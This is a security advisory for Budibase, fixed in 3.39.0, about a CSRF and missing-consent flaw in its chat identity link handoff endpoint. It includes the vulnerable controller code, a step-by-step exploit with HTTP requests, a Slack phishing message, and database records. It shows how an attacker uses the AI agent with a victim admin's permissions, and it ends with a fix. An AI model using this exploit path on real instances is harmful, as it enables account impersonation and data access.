GHSA-v7j5-vc4m-723w Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF

• npm @budibase/server: < 3.39.0 → fixed in 3.39.0

Title Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account Severity High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3 Affected Product • Product: Budibase • Version: 3.37.2 (introduced in this version) • Component: `packages/server/src/api/controllers/ai/chatIdentityLinks.ts` • Endpoint: `GET /api/chat-links/:instance/:token/handoff` Vulnerability Type • CWE-352: Cross-Site Request Forgery • CWE-284: Improper Access Control --- Vulnerability Description `GET /api/chat-links/:instance/:token/handoff` is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection. The session token in the URL is created by the attacker (from their own `/link` slash command) and embeds the attacker's `externalUserId`. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with `"Authentication succeeded."` — no indication of what was linked. Route Registration ```typescript // packages/server/src/api/routes/chat.ts:22 router.get( "/api/chat-links/:instance/:token/handoff", controller.handoffChatLinkSession // registered in publicRoutes — zero auth middleware ) ``` Vulnerable Controller (full function) ```typescript // packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110 export async function handoffChatLinkSession( ctx: UserCtx ) { const token = resolveToken(ctx.params.token) const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token) if (!session) { throw new HTTPError("Link token is invalid or has expired", 400) } assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance }) if (!ctx.isAuthenticated) { // Unauthenticated: set return URL cookie, redirect to login // After login, same URL is visited again → attack completes silently utils.setCookie(ctx, `/api/chat-links/${ctx.params.instance}/${token}/handoff`, "budibase:returnurl", { sign: false } // ← unsigned cookie, but not an open redirect ) ctx.redirect("/builder/auth/login") return } const currentGlobalUserId = getCurrentGlobalUserId(ctx) const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token) // ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓ await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({ provider: consumedSession.provider, externalUserId: consumedSession.externalUserId, // ← ATTACKER's Slack ID externalUserName: consumedSession.externalUserName, teamId: consumedSession.teamId, globalUserId: currentGlobalUserId, // ← VICTIM's Budibase user ID linkedBy: currentGlobalUserId, }) ctx.type = "text/html" ctx.body = renderLinkSuccessPage() // ← "Authentication succeeded." — no disclosure to user } ``` -- --- Step 1 — Attacker triggers `/link` in Slack Attacker types `/link` to the Budibase Slack bot. Budibase server creates a Redis session: Redis key: `chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx` Redis value (exact structure from `ChatIdentityLinkSession` interface): ```json { "token": "tok_xxxxxxxxxxxxxxxx", "tenantId": "acme", "workspaceId": "ws_abc123", "provider": "slack", "externalUserId": "UA12345678", "externalUserName": "attacker", "teamId": "T_ACME_SLACK", "createdAt": "2026-05-02T10:00:00.000Z", "expiresAt": "2026-05-02T10:10:00.000Z" } ``` Slack DM sent privately to attacker: ``` Link your Slack account to continue chatting with this agent. https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff ``` Key observation: This URL embeds the attacker's own `externalUserId` inside the token. The attacker has full control over which identity gets linked. --- Step 2 — Attacker forwards URL to victim Attacker posts in the company Slack: ``` @admin please click this to connect your Budibase account for AI agent access: https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff ``` --- Step 3 — Victim clicks link (authenticated) HTTP Request (victim's browser): ```http GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1 Host: budibase.company.com Cookie: budibase:session=VICTIM_SESSION ``` HTTP Response: ```http HTTP/1.1 200 OK Content-Type: text/html Authentication succeeded Authentication succeeded. if (window.opener && !window.opener.closed) { try { window.opener.focus(); window.close() } catch (error) {} } ``` The victim sees "Authentication succeeded." with no mention of Slack, no mention of `attacker`, no mention of what capabilities were granted. CouchDB global-db document written immediately after (exact structure from `upsertChatIdentityLink`): ```json { "_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678", "tenantId": "acme", "provider": "slack", "externalUserId": "UA12345678", "globalUserId": "ro_global_us_VICTIM_ADMIN_ID", "linkedAt": "2026-05-02T10:00:42.000Z", "linkedBy": "ro_global_us_VICTIM_ADMIN_ID", "externalUserName": "attacker", "teamId": "T_ACME_SLACK", "createdAt": "2026-05-02T10:00:42.000Z", "updatedAt": "2026-05-02T10:00:42.000Z" } ``` The mapping is now permanent. `externalUserId = UA12345678` (attacker) → `globalUserId = ro_global_us_VICTIM_ADMIN_ID` (victim). --- Step 4 — Attacker impersonates victim via AI agent Attacker sends any message to the Budibase Slack bot from their own account (`UA12345678`). The chat handler resolves the identity: ```typescript // packages/server/src/api/controllers/webhook/chatHandler.ts:421 const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({ provider: AgentChannelProvider.SLACK, externalUserId: "UA12345678", // ← attacker's Slack ID teamId: "T_ACME_SLACK", }) // existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID" const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID") // All agent tool calls now execute with victim admin's permissions ``` The attacker can now ask the agent: > "Show me all rows in the Customers table" > "Trigger the 'Send Invoice' automation for customer ID 42" > "What files are in the knowledge base?" Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening. --- Step 3b — Variant: Victim Not Yet Authenticated If the victim is not currently logged in when they click the URL: HTTP Request: ```http GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1 Host: budibase.company.com ``` HTTP Response: ```http HTTP/1.1 302 Found Location: /builder/auth/login Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/ ``` After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3. --- --- Remediation Minimum Fix — Add Consent Page Convert the handoff to a two-step flow: ``` GET /api/chat-links/:instance/:token/handoff → Show consent page: "You are linking your Budibase account to [externalUserName]'s Slack identity ([provider]). This allows them to interact with AI agents as you. [Confirm] [Cancel]" POST /api/chat-links/:instance/:token/handoff (with CSRF token) → Perform the upsertChatIdentityLink() write ``` Moving the write to `POST` removes it from `publicRoutes`, mak…